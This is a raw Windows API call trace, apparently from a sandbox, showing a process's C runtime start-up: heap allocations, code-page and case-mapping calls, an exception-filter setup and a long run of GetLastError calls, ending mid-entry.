[0064.946] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x30) returned 0xa82988 [0064.946] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x8c) returned 0xa829c0 [0064.946] HeapFree (in: hHeap=0xa80000, dwFlags=0x0, lpMem=0xa811f8 | out: hHeap=0xa80000) returned 1 [0064.947] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x8, Size=0x80) returned 0xa82a58 [0064.947] GetLastError () returned 0x0 [0064.947] SetLastError (dwErrCode=0x0) [0064.947] GetLastError () returned 0x0 [0064.947] SetLastError (dwErrCode=0x0) [0064.947] GetLastError () returned 0x0 [0064.947] SetLastError (dwErrCode=0x0) [0064.947] GetACP () returned 0x4e4 [0064.947] RtlAllocateHeap (HeapHandle=0xa80000, Flags=0x0, Size=0x220) returned 0xa82ae0 [0064.947] GetLastError () returned 0x0 [0064.947] SetLastError (dwErrCode=0x0) [0064.947] IsValidCodePage (CodePage=0x4e4) returned 1 [0064.947] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0064.947] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0064.947] GetLastError () returned 0x0 [0064.947] SetLastError (dwErrCode=0x0) [0064.947] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0064.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0064.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0064.947] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0064.947] GetLastError () returned 0x0 [0064.947] SetLastError (dwErrCode=0x0) [0064.948] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0064.948] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0064.948] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㫜צ娊@Ā") returned 256 [0064.948] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㫜צ娊@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0064.948] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㫜צ娊@Ā", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0064.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ8=3s\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0064.948] GetLastError () returned 0x0 [0064.948] SetLastError (dwErrCode=0x0) [0064.948] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0064.948] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㫜צ娊@Ā") returned 256 [0064.948] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㫜צ娊@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0064.948] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ㫜צ娊@Ā", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0064.948] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ8=3s\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0064.948] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x402a4d) returned 0x0 [0064.949] RtlSizeHeap (HeapHandle=0xa80000, Flags=0x0, MemoryPointer=0xa82a58) returned 0x80 [0064.949] lstrlenW (lpString="") returned 0 [0064.949] GetLastError () returned 0x0 [0064.949] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.950] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.951] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.952] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.953] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.954] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.974] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.975] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] GetLastError () returned 0x0 [0064.976] 